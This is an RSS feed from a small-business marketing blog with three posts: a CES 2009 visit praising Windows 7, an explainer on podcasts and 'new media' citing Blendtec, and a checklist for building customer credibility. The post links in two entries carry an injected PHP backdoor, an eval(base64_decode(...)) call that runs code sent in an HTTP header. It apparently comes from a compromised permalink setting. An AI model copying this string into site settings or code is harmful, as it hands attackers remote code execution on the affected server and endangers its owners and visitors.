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	<description>Real Nuts &#38; Bolts Marketing for Small Business Owners</description>
	<pubDate>Mon, 06 Apr 2009 19:04:55 +0000</pubDate>
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		<title>CES 2009 - First Day</title>
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		<pubDate>Fri, 09 Jan 2009 05:10:35 +0000</pubDate>
		<dc:creator>Lee Watters</dc:creator>
		
		<category><![CDATA[Marketing]]></category>

		<category><![CDATA[CES 2009]]></category>

		<category><![CDATA[microsoft]]></category>

		<category><![CDATA[windows 7]]></category>

		<guid isPermaLink="false">http://smallbusinessnotebook.com/?p=47</guid>
		<description><![CDATA[More people than you can shake a stick at, CES in Vegas it alive and well in 2009. At 10:00am today the show floor opened to crowds of people from all over the world. The consumer Electronics Show is the largest show for all the new cool high tech gadgets you will see in stores [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-family: Calibri; font-size: small;">More people than you can shake a stick at, CES in Vegas it alive and well in 2009. At 10:00am today the show floor opened to crowds of people from all over the world. The consumer Electronics Show is the largest show for all the new cool high tech gadgets you will see in stores this year, and in the future. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-family: Calibri; font-size: small;">My first stop was the Microsoft booth to look at the new Windows 7; I have to say this is very impressive. Requiring less power than vista to run, this OS is not only fast, but very powerful.<span style="mso-spacerun: yes;">  </span>Microsoft looks like they have their hand on the pulse of what consumers and business people want.</span></p>
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<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-family: Calibri; font-size: small;">With all the new features of Windows 7 small businesses will be able to run their business faster and easier than ever before. Keeping customers updated on changes and new products or services is so easy with Office Live Small Business. You can build a website and keep it updated without any programming experience; the best part of this is it’s all free!</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-family: Calibri; font-size: small;">More to come, check back over the next 2 days.</span></p>
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		<title>What is New Media?</title>
		<link>http://smallbusinessnotebook.com/2008/10/10/what-is-new-media/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Fri, 10 Oct 2008 18:24:14 +0000</pubDate>
		<dc:creator>Lee Watters</dc:creator>
		
		<category><![CDATA[Marketing]]></category>

		<guid isPermaLink="false">http://smallbusinessnotebook.com/?p=18</guid>
		<description><![CDATA[The term “New Media” is being used by the new generation of content producers and providers, that are working in the online world. New media consists of Internet audio, video,  text messaging, and blogs. One of the new ways to market your business is with “Podcasts” which can be an audio or video presentation on [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="0in 0in 10pt;"><span style="Calibri;"><a href="http://smallbusinessnotebook.com/wp-content/uploads/2008/10/yournewmedia.jpg"><img class="alignright size-medium wp-image-21" src="http://smallbusinessnotebook.com/wp-content/uploads/2008/10/yournewmedia-300x224.jpg" alt="" width="239" height="160" /></a>The term “New Media” is being used by the new generation of content producers and providers, that are working in the online world. New media consists of Internet audio, video, <span style="yes;"> </span>text messaging, and blogs. One of the new ways to market your business is with “Podcasts” which can be an audio or video presentation on the web. Podcasts are just like radio or TV shows, but are uploaded to the internet and played back on demand. Some web content developers are producing shows on the Internet for people to listen to online or download for playback later. Search “podcast” in Google and see how this form of new media is used.</span></p>
<p class="MsoNormal" style="0in 0in 10pt;"><span style="Calibri;">Few business owners understand the impact new media has, and will have in the future on marketing a big or small business. Customers research and find out about products and services online today, and new media is what can put you out in front. Now, and in the future new media is and will be the better way to market a business.</span></p>
<p class="MsoNormal" style="0in 0in 10pt;"><span style="Calibri;">New media is just what business needs, small and large. When a company records a video about their product or service, and puts it on their website it’s available for millions of eyes to see.<span style="yes;">  </span><span style="yes;"> </span>With a very small or in some cases no budget, companies can launch a marketing campaign that can reach all over the world for just about free. For example, have you ever heard of “Blendtec” blenders? Most coffee and smoothie shops use their brand of blenders. They did a marketing campaign that has exploded with a starting budget of $50.00. With the launch of “www.willitblend.com” the company has seen sales recorders in their high quality blenders. Visit the website and view a few of their videos, you will see how and why new media is changing the way we market our businesses.</span></p>
<p class="MsoNormal" style="0in 0in 10pt;"><span style="Calibri;">For more tips visit my video blog at www.leewatters.com</span></p>
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		<title>Build Credibility</title>
		<link>http://smallbusinessnotebook.com/2008/10/04/build-credibility/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://smallbusinessnotebook.com/2008/10/04/build-credibility/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 04 Oct 2008 04:17:54 +0000</pubDate>
		<dc:creator>Lee Watters</dc:creator>
		
		<category><![CDATA[Marketing]]></category>

		<guid isPermaLink="false">http://smallbusinessnotebook.com/?p=4</guid>
		<description><![CDATA[If you want a never-ending flow of customers, you need to build credibility. This is part of building your brand, as you service the same customers repeatedly. Each time a customer comes back and they get the same or better service you will build credibility with them. As they go about their life, they will [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="MARGIN: 0in 0in 10pt"><span style="font-size: small; font-family: Calibri;">If you want a never-ending flow of customers, you need to build credibility. This is part of building your brand, as you service the same customers repeatedly. Each time a customer comes back and they get the same or better service you will build credibility with them. As they go about their life, they will recommend you and your business to their family and friends.</span></p>
<p class="MsoNormal" style="MARGIN: 0in 0in 10pt"><span style="font-size: small; font-family: Calibri;"><strong>Things to think about when building credibility:</strong></span></p>
<ul>
<li>
<div class="MsoListParagraphCxSpFirst" style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"><span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore"><span style="font-size: small;">•</span><span style="font-family: 'Times New Roman';">         </span></span></span><span style="font-size: small; font-family: Calibri;">Showing up on time</span></div>
</li>
<li>
<div class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"><span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore"><span style="font-size: small;">•</span><span style="font-family: 'Times New Roman';">         </span></span></span><span style="font-size: small; font-family: Calibri;">Never take advantage of a customer</span></div>
</li>
<li>
<div class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"><span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore"><span style="font-size: small;">•</span><span style="font-family: 'Times New Roman';">         </span></span></span><span style="font-size: small; font-family: Calibri;">Make sure you clean up after you’re self</span></div>
</li>
<li>
<div class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"><span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore"><span style="font-size: small;">•</span><span style="font-family: 'Times New Roman';">         </span></span></span><span style="font-size: small; font-family: Calibri;">Follow through with promises’</span></div>
</li>
<li>
<div class="MsoListParagraphCxSpLast" style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"><span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore"><span style="font-size: small;">•</span><span style="font-family: 'Times New Roman';">         </span></span></span><span style="font-size: small; font-family: Calibri;">Call people back</span></div>
</li>
</ul>
<p class="MsoNormal" style="MARGIN: 0in 0in 10pt"><span style="font-size: small; font-family: Calibri;">You may think these are small things, but to a customer they can be the one thing that makes them call your competition. For more business and marketing tips visit my video blog at <a href="http://www.leewatters.com/">www.leewatters.com</a></span></p>
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